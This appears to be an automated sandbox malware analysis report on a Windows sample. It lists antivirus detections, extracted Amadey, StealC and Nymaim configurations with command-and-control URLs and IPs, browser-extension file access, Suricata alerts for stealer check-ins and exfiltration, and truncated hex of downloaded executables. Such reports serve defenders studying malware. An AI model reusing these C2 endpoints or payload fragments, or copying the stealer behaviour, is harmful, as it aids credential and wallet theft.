Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000009.00000003.2095183525.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000012.00000002.2933206757.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 15.2.adebfeb535.exe.400000.0.raw.unpack	Malware Configuration Extractor: Nymaim {"C2 addresses": ["185.156.72.65", "185.156.72.65", "185.156.72.65"]}

Multi AV Scanner detection for domain / URL

Source: http://185.156.72.65/2

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1010575001\b081bb79ae.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1010576001\1afc2fdbc4.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010575001\b081bb79ae.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010576001\1afc2fdbc4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C5EA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4440 PK11_PrivDecrypt,	0_2_6C5E4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C5B4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E44C0 PK11_PubEncrypt,	0_2_6C5E44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6325B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6325B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C5EA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C5C8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C5CE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C60A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C610180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C610180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E43B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C5E43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C607C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C5C7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C60BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C609EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3FF0 PK11_PrivDecryptPKCS1,	0_2_6C5E3FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C5E3850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C5E9840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C60DA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C5E3560
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_004035D0 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,	15_2_004035D0
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_04943837 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,	15_2_04943837

Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_d8fa09f8-e

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50089 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2154389102.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2154389102.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49778 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49784
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49816 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49840 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49871 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49891 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49905 -> 34.118.84.150:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49919 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49920 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49915 -> 34.118.84.150:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49950 -> 34.118.84.150:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49954 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50013 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50064 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49983 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49888 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49888 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49903 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49942 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49942 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50039 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50039 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49895 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49895 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49947 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49947 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50045 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50045 -> 172.67.165.166:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	IPs: 185.156.72.65
Source: Malware configuration extractor	IPs: 185.156.72.65
Source: Malware configuration extractor	IPs: 185.156.72.65

Source: unknown

Network traffic detected: DNS query count 35

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 08:44:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 08:44:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 